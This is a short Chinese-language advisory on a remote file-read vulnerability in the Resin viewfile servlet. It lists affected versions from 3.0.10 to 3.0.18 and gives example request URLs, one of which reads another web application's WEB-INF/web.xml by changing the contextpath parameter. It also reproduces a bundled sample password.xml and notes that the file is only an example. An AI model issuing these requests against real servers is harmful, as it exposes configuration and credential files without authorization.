Resin viewfile远程文件读取漏洞

受影响系统：

Caucho Technology Resin v3.0.18
Caucho Technology Resin v3.0.17
Caucho Technology Resin v3.0.16
Caucho Technology Resin v3.0.15
Caucho Technology Resin v3.0.14
Caucho Technology Resin v3.0.13
Caucho Technology Resin v3.0.12
Caucho Technology Resin v3.0.11
Caucho Technology Resin v3.0.10
默认下Resin的/webapps目录下/resin-doc中包含有一个扩展war文件。该文档包含有用于在集成的手册中浏览文件的servlet：

http://localhost/resin-doc/viewfile/?contextpath=%2Fresin-doc%2Fjmx%2Ftutorial%2Fbasic&servletpath=%2Findex.xtp&file=index.jsp&re-marker=&re-start=&re-end=#code-highlight

viewfile servlet

可以无需参数在Web主目录中浏览任意文件：

http://localhost/resin-doc/viewfile/?file=index.jsp

请注意这句话：

攻击者可以设置resin-doc外的上下文路径，读取其他Web主目录的任意文件：
http://localhost/resin-doc/viewfile/?contextpath=/otherwebapp&servletpath=&file=WEB-INF/web.xml
有人可能会觉得读出password.xml了，是敏感信息，下面是我刚下载的resin内resin-doc/examples/security-basic/WEB-INF/password.xml文件的内容，可以和大家读到的对比下。

这个文件只是examples！

<!-- password.xml --> <authenticator>     <!-- professors -->     <user name='snape' password='I7HdZr7CTM6hZLlSd2o+CA==' roles='professor,slytherin'/>     <user name='mcgonagall' password='4slsTREVeTo0sv5hGkZWag==' roles='professor,gryffindor'/>     <!-- students -->     <user name='harry' password='uTOZTGaB6pooMDvqvl2Lbg==' roles='student,gryffindor'/>     <user name='dmalfoy' password='yI2uN1l97Rv5E6mdRnDFwQ==' roles='student,slytherin'/>     <!-- alumni -->     <user name='lmalfoy' password='sj/yhtU1h4LZPw7/Uy9IVA==' roles='alumni,gryffindor'/> </authenticator>
